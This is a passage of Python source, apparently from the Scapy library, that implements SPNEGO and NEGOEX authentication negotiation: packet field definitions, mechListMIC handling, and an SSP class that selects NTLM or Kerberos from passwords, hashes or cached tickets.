Computation\n\n    NOTE: The documentation on mechListMIC isn't super clear, so note that:\n\n    - The mechListMIC that the client sends is computed over the\n      list of mechanisms that it requests.\n    - the mechListMIC that the server sends is computed over the\n      list of mechanisms that the client requested.\n\n    This also means that NegTokenInit2 added by [MS-SPNG] is NOT protected.\n    That's not necessarily an issue, since it was optional in most cases,\n    but it's something to keep in mind.\n    \"\"\"\n    return bytes(SPNEGO_MechTypes(mechTypes=oids))\n\n\n# NEGOEX\n# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-negoex/0ad7a003-ab56-4839-a204-b555ca6759a2\n\n\n_NEGOEX_AUTH_SCHEMES = {\n    # Reversed. Is there any doc related to this?\n    # The NEGOEX doc is very ellusive\n    UUID(\"5c33530d-eaf9-0d4d-b2ec-4ae3786ec308\"): \"UUID('[NTLM-UUID]')\",\n}\n\n\nclass NEGOEX_MESSAGE_HEADER(Packet):\n    fields_desc = [\n        StrFixedLenField(\"Signature\", \"NEGOEXTS\", length=8),\n        LEIntEnumField(\n            \"MessageType\",\n            0,\n            {\n                0x0: \"INITIATOR_NEGO\",\n                0x01: \"ACCEPTOR_NEGO\",\n                0x02: \"INITIATOR_META_DATA\",\n                0x03: \"ACCEPTOR_META_DATA\",\n                0x04: \"CHALLENGE\",\n                0x05: \"AP_REQUEST\",\n                0x06: \"VERIFY\",\n                0x07: \"ALERT\",\n            },\n        ),\n        LEIntField(\"SequenceNum\", 0),\n        LEIntField(\"cbHeaderLength\", None),\n        LEIntField(\"cbMessageLength\", None),\n        UUIDField(\"ConversationId\", None),\n    ]\n\n    def post_build(self, pkt, pay):\n        if self.cbHeaderLength is None:\n            pkt = pkt[16:] + struct.pack(\"<I\", len(pkt)) + pkt[20:]\n        if self.cbMessageLength is None:\n            pkt = pkt[20:] + struct.pack(\"<I\", len(pkt) + len(pay)) + pkt[24:]\n        return pkt + pay\n\n\ndef _NEGOEX_post_build(self, p, pay_offset, fields):\n    # type: (Packet, bytes, int, Dict[str, Tuple[str, int]]) -> bytes\n    \"\"\"Util function to build the offset and populate the lengths\"\"\"\n    for field_name, value in self.fields[\"Payload\"]:\n        length = self.get_field(\"Payload\").fields_map[field_name].i2len(self, value)\n        count = self.get_field(\"Payload\").fields_map[field_name].i2count(self, value)\n        offset = fields[field_name]\n        # Offset\n        if self.getfieldval(field_name + \"BufferOffset\") is None:\n            p = p[:offset] + struct.pack(\"<I\", pay_offset) + p[offset + 4 :]\n        # Count\n        if self.getfieldval(field_name + \"Count\") is None:\n            p = p[: offset + 4] + struct.pack(\"<H\", count) + p[offset + 6 :]\n        pay_offset += length\n    return p\n\n\nclass NEGOEX_BYTE_VECTOR(Packet):\n    fields_desc = [\n        LEIntField(\"ByteArrayBufferOffset\", 0),\n        LEIntField(\"ByteArrayLength\", 0),\n    ]\n\n    def guess_payload_class(self, payload):\n        return conf.padding_layer\n\n\nclass NEGOEX_EXTENSION_VECTOR(Packet):\n    fields_desc = [\n        LELongField(\"ExtensionArrayOffset\", 0),\n        LEShortField(\"ExtensionCount\", 0),\n    ]\n\n\nclass NEGOEX_NEGO_MESSAGE(_NTLMPayloadPacket):\n    OFFSET = 92\n    show_indent = 0\n    fields_desc = [\n        NEGOEX_MESSAGE_HEADER,\n        XStrFixedLenField(\"Random\", b\"\", length=32),\n        LELongField(\"ProtocolVersion\", 0),\n        LEIntField(\"AuthSchemeBufferOffset\", None),\n        LEShortField(\"AuthSchemeCount\", None),\n        LEIntField(\"ExtensionBufferOffset\", None),\n        LEShortField(\"ExtensionCount\", None),\n        # Payload\n        _NTLMPayloadField(\n            \"Payload\",\n            OFFSET,\n            [\n                FieldListField(\n                    \"AuthScheme\",\n                    [],\n                    UUIDEnumField(\"\", None, _NEGOEX_AUTH_SCHEMES),\n                    count_from=lambda pkt: pkt.AuthSchemeCount,\n                ),\n                PacketListField(\n                    \"Extension\",\n                    [],\n                    NEGOEX_EXTENSION_VECTOR,\n                    count_from=lambda pkt: pkt.ExtensionCount,\n                ),\n            ],\n            length_from=lambda pkt: pkt.cbMessageLength - 92,\n        ),\n        # TODO: dissect extensions\n    ]\n\n    def post_build(self, pkt, pay):\n        # type: (bytes, bytes) -> bytes\n        return (\n            _NEGOEX_post_build(\n                self,\n                pkt,\n                self.OFFSET,\n                {\n                    \"AuthScheme\": 96,\n                    \"Extension\": 102,\n                },\n            )\n            + pay\n        )\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt and len(_pkt) >= 12:\n            MessageType = struct.unpack(\"<I\", _pkt[8:12])[0]\n            if MessageType in [0, 1]:\n                return NEGOEX_NEGO_MESSAGE\n            elif MessageType in [2, 3]:\n                return NEGOEX_EXCHANGE_MESSAGE\n        return cls\n\n\n# RFC3961\n_checksum_types = {\n    1: \"CRC32\",\n    2: \"RSA-MD4\",\n    3: \"RSA-MD4-DES\",\n    4: \"DES-MAC\",\n    5: \"DES-MAC-K\",\n    6: \"RSA-MDA-DES-K\",\n    7: \"RSA-MD5\",\n    8: \"RSA-MD5-DES\",\n    9: \"RSA-MD5-DES3\",\n    10: \"SHA1\",\n    12: \"HMAC-SHA1-DES3-KD\",\n    13: \"HMAC-SHA1-DES3\",\n    14: \"SHA1\",\n    15: \"HMAC-SHA1-96-AES128\",\n    16: \"HMAC-SHA1-96-AES256\",\n}\n\n\ndef _checksum_size(pkt):\n    if pkt.ChecksumType == 1:\n        return 4\n    elif pkt.ChecksumType in [2, 4, 6, 7]:\n        return 16\n    elif pkt.ChecksumType in [3, 8, 9]:\n        return 24\n    elif pkt.ChecksumType == 5:\n        return 8\n    elif pkt.ChecksumType in [10, 12, 13, 14, 15, 16]:\n        return 20\n    return 0\n\n\nclass NEGOEX_CHECKSUM(Packet):\n    fields_desc = [\n        LELongField(\"cbHeaderLength\", 20),\n        LELongEnumField(\"ChecksumScheme\", 1, {1: \"CHECKSUM_SCHEME_RFC3961\"}),\n        LELongEnumField(\"ChecksumType\", None, _checksum_types),\n        XStrLenField(\"ChecksumValue\", b\"\", length_from=_checksum_size),\n    ]\n\n\nclass NEGOEX_EXCHANGE_MESSAGE(_NTLMPayloadPacket):\n    OFFSET = 64\n    show_indent = 0\n    fields_desc = [\n        NEGOEX_MESSAGE_HEADER,\n        UUIDEnumField(\"AuthScheme\", None, _NEGOEX_AUTH_SCHEMES),\n        LEIntField(\"ExchangeBufferOffset\", 0),\n        LEIntField(\"ExchangeLen\", 0),\n        _NTLMPayloadField(\n            \"Payload\",\n            OFFSET,\n            [\n                # The NEGOEX doc mentions the following blob as as an\n                # \"opaque handshake for the client authentication scheme\".\n                # NEGOEX_EXCHANGE_NTLM is a reversed interpretation, and is\n                # probably not accurate.\n                MultipleTypeField(\n                    [\n                        (\n                            PacketField(\"Exchange\", None, NEGOEX_EXCHANGE_NTLM),\n                            lambda pkt: pkt.AuthScheme\n                            == UUID(\"5c33530d-eaf9-0d4d-b2ec-4ae3786ec308\"),\n                        ),\n                    ],\n                    StrField(\"Exchange\", b\"\"),\n                )\n            ],\n            length_from=lambda pkt: pkt.cbMessageLength - pkt.cbHeaderLength,\n        ),\n    ]\n\n\nclass NEGOEX_VERIFY_MESSAGE(Packet):\n    show_indent = 0\n    fields_desc = [\n        NEGOEX_MESSAGE_HEADER,\n        UUIDEnumField(\"AuthScheme\", None, _NEGOEX_AUTH_SCHEMES),\n        PacketField(\"Checksum\", NEGOEX_CHECKSUM(), NEGOEX_CHECKSUM),\n    ]\n\n\nbind_layers(NEGOEX_NEGO_MESSAGE, NEGOEX_NEGO_MESSAGE)\n\n\n_mechDissector[\"1.3.6.1.4.1.311.2.2.30\"] = NEGOEX_NEGO_MESSAGE\n\n# -- SSP\n\n\nclass SPNEGOSSP(SSP):\n    \"\"\"\n    The SPNEGO SSP\n\n    :param ssps: a dict with keys being the SSP class, and the value being a\n                 dictionary of the keyword arguments to pass it on init.\n\n    Example::\n\n        from scapy.layers.ntlm import NTLMSSP\n        from scapy.layers.kerberos import KerberosSSP\n        from scapy.layers.spnego import SPNEGOSSP\n        from scapy.layers.smbserver import smbserver\n        from scapy.libs.rfc3961 import Encryption, Key\n\n        ssp = SPNEGOSSP([\n            NTLMSSP(\n                IDENTITIES={\n                    \"User1\": MD4le(\"Password1\"),\n                    \"Administrator\": MD4le(\"Password123!\"),\n                }\n            ),\n            KerberosSSP(\n                SPN=\"cifs/server2.domain.local\",\n                KEY=Key(\n                    Encryption.AES256,\n                    key=hex_bytes(\"5e9255c907b2f7e969ddad816eabbec8f1f7a387c7194ecc98b827bdc9421c2b\")\n                )\n            )\n        ])\n        smbserver(ssp=ssp)\n    \"\"\"\n\n    __slots__ = [\n        \"ssps\",\n    ]\n\n    auth_type = 0x09\n\n    class STATE(SSP.STATE):\n        FIRST = 1\n        SUBSEQUENT = 2\n\n    class CONTEXT(SSP.CONTEXT):\n        __slots__ = [\n            \"req_flags\",\n            \"ssps\",\n            \"other_mechtypes\",\n            \"sent_mechtypes\",\n            \"first_choice\",\n            \"require_mic\",\n            \"verified_mic\",\n            \"ssp\",\n            \"ssp_context\",\n            \"ssp_mechtype\",\n            \"raw\",\n        ]\n\n        def __init__(\n            self,\n            ssps: List[SSP],\n            req_flags=None,\n        ):\n            self.state = SPNEGOSSP.STATE.FIRST\n            self.req_flags = req_flags\n            # Information used during negotiation\n            self.ssps = ssps\n            self.other_mechtypes = None  # the mechtypes our peer requested\n            self.sent_mechtypes = None  # the mechtypes we sent when acting as a client\n            self.first_choice = True  # whether the SSP was the peer's first choice\n            self.require_mic = False  # whether the mechListMIC is required or not\n            self.verified_mic = False  # whether mechListMIC has been verified\n            # Information about the currently selected SSP\n            self.ssp = None\n            self.ssp_context = None\n            self.ssp_mechtype = None\n            self.raw = False  # fallback to raw SSP\n            super(SPNEGOSSP.CONTEXT, self).__init__()\n\n        # This is the order Windows chooses\n        _PREF_ORDER = [\n            \"1.2.840.113554.1.2.2.3\",  # Kerberos 5 - User to User\n            \"1.2.840.48018.1.2.2\",  # MS KRB5\n            \"1.2.840.113554.1.2.2\",  # Kerberos 5\n            \"1.3.6.1.4.1.311.2.2.30\",  # NEGOEX\n            \"1.3.6.1.4.1.311.2.2.10\",  # NTLM\n        ]\n\n        def get_supported_mechtypes(self):\n            \"\"\"\n            Return an ordered list of mechtypes that are still available.\n            \"\"\"\n            # 1. Build mech list\n            mechs = []\n            for ssp in self.ssps:\n                mechs.extend(ssp.GSS_Inquire_names_for_mech())\n\n            # 2. Sort according to the selected SSP, then the preference order\n            selected_mech_oids = (\n                self.ssp.GSS_Inquire_names_for_mech() if self.ssp else []\n            )\n            mechs.sort(\n                key=lambda x: (x not in selected_mech_oids, self._PREF_ORDER.index(x))\n            )\n\n            # 4. Return wrapped in MechType\n            return [SPNEGO_MechType(oid=ASN1_OID(oid)) for oid in mechs]\n\n        def negotiate_ssp(self) -> None:\n            \"\"\"\n            Perform SSP negotiation.\n\n            This updates our context and sets it with the first SSP that is\n            common to both client and server. This also applies rules from\n            [MS-SPNG] and RFC4178 to determine if mechListMIC is required.\n            \"\"\"\n            if self.other_mechtypes is None:\n                # We don't have any information about the peer's preferred SSPs.\n                # This typically happens on client side, when NegTokenInit2 isn't used.\n                self.ssp = self.ssps[0]\n                ssp_oid = self.ssp.GSS_Inquire_names_for_mech()[0]\n            else:\n                # Get first common SSP between us and our peer\n                other_oids = [x.oid.val for x in self.other_mechtypes]\n                try:\n                    self.ssp, ssp_oid = next(\n                        (ssp, requested_oid)\n                        for requested_oid in other_oids\n                        for ssp in self.ssps\n                        if requested_oid in ssp.GSS_Inquire_names_for_mech()\n                    )\n                except StopIteration:\n                    raise ValueError(\n                        \"Could not find a common SSP with the remote peer !\"\n                    )\n\n                # Check whether the selected SSP was the one preferred by the client\n                self.first_choice = ssp_oid == other_oids[0]\n\n            # Check whether mechListMIC is mandatory for this exchange\n            if not self.first_choice:\n                # RFC4178 rules for mechListMIC: mandatory if not the first choice.\n                self.require_mic = True\n            elif ssp_oid == \"1.3.6.1.4.1.311.2.2.10\" and self.ssp.SupportsMechListMIC():\n                # [MS-SPNG] note 8: \"If NTLM authentication is most preferred by\n                # the client and the server, and the client includes a MIC in\n                # AUTHENTICATE_MESSAGE, then the mechListMIC field becomes\n                # mandatory\"\n                self.require_mic = True\n\n            # Get the associated ssp dissection class and mechtype\n            self.ssp_mechtype = SPNEGO_MechType(oid=ASN1_OID(ssp_oid))\n\n            # Reset the ssp context\n            self.ssp_context = None\n\n        # Passthrough attributes and functions\n\n        def clifailure(self):\n            if self.ssp_context is not None:\n                self.ssp_context.clifailure()\n\n        def __getattr__(self, attr):\n            try:\n                return object.__getattribute__(self, attr)\n            except AttributeError:\n                return getattr(self.ssp_context, attr)\n\n        def __setattr__(self, attr, val):\n            try:\n                return object.__setattr__(self, attr, val)\n            except AttributeError:\n                return setattr(self.ssp_context, attr, val)\n\n        # Passthrough the flags property\n\n        @property\n        def flags(self):\n            if self.ssp_context:\n                return self.ssp_context.flags\n            return GSS_C_FLAGS(0)\n\n        @flags.setter\n        def flags(self, x):\n            if not self.ssp_context:\n                return\n            self.ssp_context.flags = x\n\n        def __repr__(self):\n            return \"SPNEGOSSP[%s]\" % repr(self.ssp_context)\n\n    def __init__(self, ssps: List[SSP], **kwargs):\n        self.ssps = ssps\n        super(SPNEGOSSP, self).__init__(**kwargs)\n\n    @classmethod\n    def from_cli_arguments(\n        cls,\n        UPN: str,\n        target: str,\n        password: str = None,\n        HashNt: bytes = None,\n        HashAes256Sha96: bytes = None,\n        HashAes128Sha96: bytes = None,\n        kerberos_required: bool = False,\n        ST=None,\n        TGT=None,\n        KEY=None,\n        ccache: str = None,\n        debug: int = 0,\n        use_krb5ccname: bool = False,\n    ):\n        \"\"\"\n        Initialize a SPNEGOSSP from a list of many arguments.\n        This is useful in a CLI, with NTLM and Kerberos supported by default.\n\n        :param UPN: the UPN of the user to use.\n        :param target: the target IP/hostname entered by the user.\n        :param kerberos_required: require kerberos\n        :param password: (string) if provided, used for auth\n        :param HashNt: (bytes) if provided, used for auth (NTLM)\n        :param HashAes256Sha96: (bytes) if provided, used for auth (Kerberos)\n        :param HashAes128Sha96: (bytes) if provided, used for auth (Kerberos)\n        :param ST: if provided, the service ticket to use (Kerberos)\n        :param TGT: if provided, the TGT to use (Kerberos)\n        :param KEY: if ST provided, the session key associated to the ticket (Kerberos).\n                    This can be either for the ST or TGT. Else, the user secret key.\n        :param ccache: (str) if provided, a path to a CCACHE (Kerberos)\n        :param use_krb5ccname: (bool) if true, the KRB5CCNAME environment variable will\n                               be used if available.\n        \"\"\"\n        kerberos = True\n        hostname = None\n        # Check if target is a hostname / Check IP\n        if \":\" in target:\n            if not valid_ip6(target):\n                hostname = target\n        else:\n            if not valid_ip(target):\n                hostname = target\n\n        # Check UPN\n        try:\n            _, realm = _parse_upn(UPN)\n            if realm == \".\":\n                # Local\n                kerberos = False\n        except ValueError:\n            # not a UPN: NTLM only\n            kerberos = False\n\n        # If we're asked, check the environment for KRB5CCNAME\n        if use_krb5ccname and ccache is None and \"KRB5CCNAME\" in os.environ:\n            ccache = os.environ[\"KRB5CCNAME\"]\n\n        # Do we need to ask the password?\n        if all(\n            x is None\n            for x in [\n                ST,\n                password,\n                HashNt,\n                HashAes256Sha96,\n                HashAes128Sha96,\n                ccache,\n            ]\n        ):\n            # yes.\n            from prompt_toolkit import prompt\n\n            password = prompt(\"Password: \", is_password=True)\n\n        ssps = []\n        # Kerberos\n        if kerberos and hostname:\n            # Get ticket if we don't already have one.\n            if ST is None and TGT is None and ccache is not None:\n                # In this case, load the KerberosSSP from ccache\n                from scapy.modules.ticketer import Ticketer\n\n                # Import into a Ticketer object\n                t = Ticketer()\n                t.open_ccache(ccache)\n\n                # Look for the ticket that we'll use. We chose:\n                # - either a ST if the UPN and SPN matches our target\n                # - or a ST that matches the UPN\n                # - else a TGT if we got nothing better\n                tgts = []\n                sts = []\n                for i, (tkt, key, upn, spn) in t.enumerate_tickets():\n                    spn, _ = _parse_spn(spn)\n                    spn_host = spn.split(\"/\")[-1]\n                    # Check that it's for the correct user\n                    if upn.lower() == UPN.lower():\n                        # Check that it's either a TGT or a ST to the correct service\n                        if spn.lower().startswith(\"krbtgt/\"):\n                            # TGT. Keep it, and see if we don't have a better ST.\n                            tgts.append(t.ssp(i))\n                        elif hostname.lower() == spn_host.lower():\n                            # ST. UPN and SPN match. We're done !\n                            ssps.append(t.ssp(i))\n                            break\n                        else:\n                            # ST. UPN matches, Keep it\n                            sts.append(t.ssp(i))\n                else:\n                    # No perfect ticket found\n                    if tgts:\n                        # Using a TGT !\n                        ssps.append(tgts[0])\n                    elif sts:\n                        # Using a ST where at least the UPN matched !\n                        ssps.append(sts[0])\n                    else:\n                        # Nothing found\n                        t.show()\n                        raise ValueError(\n                            f\"Could not find a ticket for {upn}, either a \"\n                            f\"TGT or towards {hostname}\"\n                        )\n            elif ST is None and TGT is None:\n                # In this case, KEY is supposed to be the user's key.\n                from scapy.libs.rfc3961 import Key, EncryptionType\n\n                if KEY is None and HashAes256Sha96:\n                    KEY = Key(\n                        EncryptionType.AES256_CTS_HMAC_SHA1_96,\n                        HashAes256Sha96,\n                    )\n                elif KEY is None and HashAes128Sha96:\n                    KEY = Key(\n                        EncryptionType.AES128_CTS_HMAC_SHA1_96,\n                        HashAes128Sha96,\n                    )\n                elif KEY is None and HashNt:\n                    KEY = Key(\n                        EncryptionType.RC4_HMAC,\n                        HashNt,\n                    )\n                # Make a SSP that only has a UPN and secret.\n                ssps.append(\n                    KerberosSSP(\n                        UPN=UPN,\n                        PASSWORD=password,\n                        KEY=KEY,\n                        debug=debug,\n                    )\n                )\n            else:\n                # We have a ST, use it with the key.\n                ssps.append(\n                    KerberosSSP(\n                        UPN=UPN,\n                        ST=ST,\n                        TGT=TGT,\n                        KEY=KEY,\n                        debug=debug,\n                    )\n                )\n        elif kerberos_required:\n            raise ValueError(\n                \"Kerberos required but domain not specified in the UPN, \"\n                \"or target isn't a hostname !\"\n            )\n\n        # NTLM\n        if not kerberos_required:\n            if HashNt is None and password is not None:\n                HashNt = MD4le(password)\n            if HashNt is not None:\n                ssps.append(NTLMSSP(UPN=UPN, HASHNT=HashNt))\n\n        if not ssps:\n            raise ValueError(\"Unexpected case ! Please report.\")\n\n        # Build the SSP\n        return cls(ssps)\n\n    def NegTokenInit2(self):\n        \"\"\"\n        Server-Initiation of GSSAPI/SPNEGO.\n        See [MS-SPNG] sect 3.2.5.2\n        \"\"\"\n        Context = SPNEGOSSP.CONTEXT(list(self.ssps))\n        return (\n            Context,\n            GSSAPI_BLOB(\n                innerToken=SPNEGO_negToken(\n                    token=SPNEGO_negTokenInit(\n                        mechTypes=Context.get_supported_mechtypes(),\n                        negHints=SPNEGO_negHints(\n                            hintName=ASN1_GENERAL_STRING(\n                                \"not_defined_in_RFC4178@please_ignore\"\n                            ),\n                        ),\n                    )\n                )\n            ),\n        )\n\n        # NOTE: NegoEX has an effect on how the SecurityContext is\n        # initialized, as detailed in [MS-AUTHSOD] sect 3.3.2\n        # But the format that the Exchange token uses appears not to\n        # be documented :/\n\n        # resp.SecurityBlob.innerToken.token.mechTypes.insert(\n        #     0,\n        #     # NEGOEX\n        #     SPNEGO_MechType(oid=\"1.3.6.1.4.1.311.2.2.30\"),\n        # )\n        # resp.SecurityBlob.innerToken.token.mechToken = SPNEGO_Token(\n        #     value=negoex_token\n        # )  # noqa: E501\n\n    def GSS_WrapEx(self, Context, *args, **kwargs):\n        # Passthrough\n        return Context.ssp.GSS_WrapEx(Context.ssp_context, *args, **kwargs)\n\n    def GSS_UnwrapEx(self, Context, *args, **kwargs):\n        # Passthrough\n        return Context.ssp.GSS_UnwrapEx(Context.ssp_context, *args, **kwargs)\n\n    def GSS_GetMICEx(self, Context, *args, **kwargs):\n        # Passthrough\n        return Context.ssp.GSS_GetMICEx(Context.ssp_context, *args, **kwargs)\n\n    def GSS_VerifyMICEx(self, Context, *args, **kwargs):\n        # Passthrough\n        return Context.ssp.GSS_VerifyMICEx(Context.ssp_context, *args, **kwargs)\n\n    def LegsAmount(self, Context: CONTEXT):\n        return 4\n\n    def MapStatusToNegState(self, status: int) -> int:\n        \"\"\"\n        Map a GSSAPI return code to SPNEGO negState codes\n        \"\"\"\n        if status == GSS_S_COMPLETE:\n            return 0  # accept_completed\n        elif status == GSS_S_CONTINUE_NEEDED:\n            return 1  # accept_incomplete\n        else:\n            return 2  # reject\n\n    def GuessOtherMechtypes(self, Context: CONTEXT, input_token):\n        \"\"\"\n        Guesses the mechtype of the peer when the \"raw\" fallback is used.\n        \"\"\"\n        if isinstance(input_token, NTLM_Header):\n            Context.other_mechtypes = [\n                SPNEGO_MechType(oid=ASN1_OID(\"1.3.6.1.4.1.311.2.2.10\"))\n            ]\n        elif isinstance(input_token, Kerberos):\n            Context.other_mechtypes = [\n                SPNEGO_MechType(oid=ASN1_OID(\"1.2.840.48018.1.2.2\"))\n            ]\n        else:\n            Context.other_mechtypes = []\n\n    def GSS_Init_sec_context(\n        self,\n        Context: CONTEXT,\n        input_token=None,\n        target_name: Optional[str] = None,\n        req_flags: Optional[GSS_C_FLAGS] = None,\n        chan_bindings: GssChannelBindings = GSS_C_NO_CHANNEL_BINDINGS,\n    ):\n        if Context is None:\n            # New Context\n            Context = SPNEGOSSP.CONTEXT(\n                list(self.ssps),\n                req_flags=req_flags,\n            )\n\n        input_token_inner = None\n        negState = None\n\n        # Extract values from GSSAPI token, if present\n        if input_token is not None:\n            if isinstance(input_token, GSSAPI_BLOB):\n                input_token = input_token.innerToken\n            if isinstance(input_token, SPNEGO_negToken):\n                input_token = input_token.token\n            if isinstance(input_token, SPNEGO_negTokenInit):\n                # We are handling a NegTokenInit2 request !\n                # Populate context with values from the server's request\n                Context.other_mechtypes = input_token.mechTypes\n            elif isinstance(input_token, SPNEGO_negTokenResp):\n                # Extract token and state from the client request\n                if input_token.responseToken is not None:\n                    input_token_inner = input_token.responseToken.value\n                if input_token.negState is not None:\n                    negState = input_token.negState\n            else:\n                # The blob is a raw token. We aren't using SPNEGO here.\n                Context.raw = True\n                input_token_inner = input_token\n                self.GuessOtherMechtypes(Context, input_token)\n\n        # Perform SSP negotiation\n        if Context.ssp is None:\n            try:\n                Context.negotiate_ssp()\n            except ValueError as ex:\n                # Couldn't find common SSP\n                log_runtime.warning(\"SPNEGOSSP: %s\" % ex)\n                return Context, None, GSS_S_BAD_MECH\n\n        # Call inner-SSP\n        Context.ssp_context, output_token_inner, status = (\n            Context.ssp.GSS_Init_sec_context(\n                Context.ssp_context,\n                input_token=input_token_inner,\n                target_name=target_name,\n                req_flags=Context.req_flags,\n                chan_bindings=chan_bindings,\n            )\n        )\n\n        if negState == 2 or status not in [GSS_S_COMPLETE, GSS_S_CONTINUE_NEEDED]:\n            # SSP failed. Remove it from the list of SSPs we're currently running\n            Context.ssps.remove(Context.ssp)\n            log_runtime.warning(\n                \"SPNEGOSSP: %s failed. Retrying with next in queue.\" % repr(Context.ssp)\n            )\n\n            if Context.ssps:\n                # We have other SSPs remaining. Retry using another one.\n                Context.ssp = None\n                return self.GSS_Init_sec_context(\n                    Context,\n                    None,  # No input for retry.\n                    target_name=target_name,\n                    req_flags=req_flags,\n                    chan_bindings=chan_bindings,\n                )\n            else:\n                # We don't have anything left\n                return Context, None, status\n\n        # Raw processing ends here.\n        if Context.raw:\n            return Context, output_token_inner, status\n\n        # Verify MIC if present.\n        if status == GSS_S_COMPLETE and input_token and input_token.mechListMIC:\n            # NOTE: the mechListMIC that the server sends is computed over the list of\n            # mechanisms that the **client requested**.\n            Context.ssp.VerifyMechListMIC(\n                Context.ssp_context,\n                input_token.mechListMIC.value,\n                mechListMIC(Context.sent_mechtypes),\n            )\n            Context.verified_mic = True\n\n        if negState == 0 and status == GSS_S_COMPLETE:\n            # We are done.\n            return Context, None, status\n        elif Context.state == SPNEGOSSP.STATE.FIRST:\n            # First freeze the list of available mechtypes on the first message\n            Context.sent_mechtypes = Context.get_supported_mechtypes()\n\n            # Now build the token\n            spnego_tok = GSSAPI_BLOB(\n                innerToken=SPNEGO_negToken(\n                    token=SPNEGO_negTokenInit(mechTypes=Context.sent_mechtypes)\n                )\n            )\n\n            # Add the output token if provided\n            if output_token_inner is not None:\n                spnego_tok.innerToken.token.mechToken = SPNEGO_Token(\n                    value=output_token_inner,\n                )\n        elif Context.state == SPNEGOSSP.STATE.SUBSEQUENT:\n            # Build subsequent client tokens: without the list of supported mechtypes\n            # NOTE: GSSAPI_BLOB is stripped.\n            spnego_tok = SPNEGO_negToken(\n                token=SPNEGO_negTokenResp(\n                    supportedMech=None,\n                    negState=None,\n                )\n            )\n\n            # Add the MIC if required and the exchange is finished.\n            if status == GSS_S_COMPLETE and Context.require_mic:\n                spnego_tok.token.mechListMIC = SPNEGO_MechListMIC(\n                    value=Context.ssp.GetMechListMIC(\n                        Context.ssp_context,\n                        mechListMIC(Context.sent_mechtypes),\n                    ),\n                )\n\n                # If we still haven't verified the MIC, we aren't done.\n                if not Context.verified_mic:\n                    status = GSS_S_CONTINUE_NEEDED\n\n            # Add the output token if provided\n            if output_token_inner:\n                spnego_tok.token.responseToken = SPNEGO_Token(\n                    value=output_token_inner,\n                )\n\n        # Update the state\n        Context.state = SPNEGOSSP.STATE.SUBSEQUENT\n\n        return Context, spnego_tok, status\n\n    def GSS_Accept_sec_context(\n        self,\n        Context: CONTEXT,\n        input_token=None,\n        req_flags: Optional[GSS_S_FLAGS] = GSS_S_FLAGS.GSS_S_ALLOW_MISSING_BINDINGS,\n        chan_bindings: GssChannelBindings = GSS_C_NO_CHANNEL_BINDINGS,\n    ):\n        if Context is None:\n            # New Context\n            Context = SPNEGOSSP.CONTEXT(\n                list(self.ssps),\n                req_flags=req_flags,\n            )\n\n        input_token_inner = None\n        _mechListMIC = None\n\n        # Extract values from GSSAPI token\n        if isinstance(input_token, GSSAPI_BLOB):\n            input_token = input_token.innerToken\n        if isinstance(input_token, SPNEGO_negToken):\n            input_token = input_token.token\n        if isinstance(input_token, SPNEGO_negTokenInit):\n            # Populate context with values from the client's request\n            if input_token.mechTypes:\n                Context.other_mechtypes = input_token.mechTypes\n            if input_token.mechToken:\n                input_token_inner = input_token.mechToken.value\n            _mechListMIC = input_token.mechListMIC or input_token._mechListMIC\n        elif isinstance(input_token, SPNEGO_negTokenResp):\n            if input_token.responseToken:\n                input_token_inner = input_token.responseToken.value\n            _mechListMIC = input_token.mechListMIC\n        else:\n            # The blob is a raw token. We aren't using SPNEGO here.\n            Context.raw = True\n            input_token_inner = input_token\n            self.GuessOtherMechtypes(Context, input_token)\n\n        if Context.other_mechtypes is None:\n            # At this point, we should have already gotten the mechtypes from a current\n            # or former request.\n            return Context, None, GSS_S_FAILURE\n\n        # Perform SSP negotiation\n        if Context.ssp is None:\n            try:\n                Context.negotiate_ssp()\n            except ValueError as ex:\n                # Couldn't find common SSP\n                log_runtime.warning(\"SPNEGOSSP: %s\" % ex)\n                return Context, None, GSS_S_FAILURE\n\n        output_token_inner = None\n        status = GSS_S_CONTINUE_NEEDED\n\n        # If we didn't pick the client's first choice, the token we were passed\n        # isn't usable.\n        if not Context.first_choice:\n            # Typically a client opportunistically starts with Kerberos, including\n            # its APREQ, and we want to use NTLM. Here we add one round trip\n            Context.first_choice = True  # Do not enter here again.\n        else:\n            # Send it to the negotiated SSP\n            Context.ssp_context, output_token_inner, status = (\n                Context.ssp.GSS_Accept_sec_context(\n                    Context.ssp_context,\n                    input_token=input_token_inner,\n                    req_flags=Context.req_flags,\n                    chan_bindings=chan_bindings,\n                )\n            )\n\n        # Verify MIC if context succeeded\n        if status == GSS_S_COMPLETE and _mechListMIC:\n            # NOTE: the mechListMIC that the client sends is computed over the\n            # **list of mechanisms that it requests**.\n            if Context.ssp.SupportsMechListMIC():\n                # We need to check we support checking the MIC. The only case where\n                # this is needed is NTLM in guest mode: the client will send a mic\n                # but we don't check it...\n                Context.ssp.VerifyMechListMIC(\n                    Context.ssp_context,\n                    _mechListMIC.value,\n                    mechListMIC(Context.other_mechtypes),\n                )\n                Context.verified_mic = True\n                Context.require_mic = True\n\n        # Raw processing ends here.\n        if Context.raw:\n            return Context, output_token_inner, status\n\n        # 0. Build the template response token\n        spnego_tok = SPNEGO_negToken(\n            token=SPNEGO_negTokenResp(\n                supportedMech=None,\n            )\n        )\n        if Context.state == SPNEGOSSP.STATE.FIRST:\n            # Include the supportedMech list if this is the first message we send\n            # or a renegotiation.\n            spnego_tok.token.supportedMech = Context.ssp_mechtype\n\n        # Add the output token if provided\n        if output_token_inner:\n            spnego_tok.token.responseToken = SPNEGO_Token(value=output_token_inner)\n\n        # Update the state\n        Context.state = SPNEGOSSP.STATE.SUBSEQUENT\n\n        # Add the MIC if required and the exchange is finished.\n        if status == GSS_S_COMPLETE and Context.require_mic:\n            spnego_tok.token.mechListMIC = SPNEGO_MechListMIC(\n                value=Context.ssp.GetMechListMIC(\n                    Context.ssp_context,\n                    mechListMIC(Context.other_mechtypes),\n                ),\n            )\n\n            # If we still haven't verified the MIC, we aren't done.\n            if not Context.verified_mic:\n                status = GSS_S_CONTINUE_NEEDED\n\n        # Set negState\n        spnego_tok.token.negState = self.MapStatusToNegState(status)\n\n        return Context, spnego_tok, status\n\n    def GSS_Passive(\n        self,\n        Context: CONTEXT,\n        input_token=None,\n        req_flags=None,\n    ):\n        if Context is None:\n            # New Context\n            Context = SPNEGOSSP.CONTEXT(list(self.ssps))\n            Context.passive = True\n\n        input_token_inner = None\n\n        # Extract values from GSSAPI token\n        if isinstance(input_token, GSSAPI_BLOB):\n            input_token = input_token.innerToken\n        if isinstance(input_token, SPNEGO_negToken):\n            input_token = input_token.token\n        if 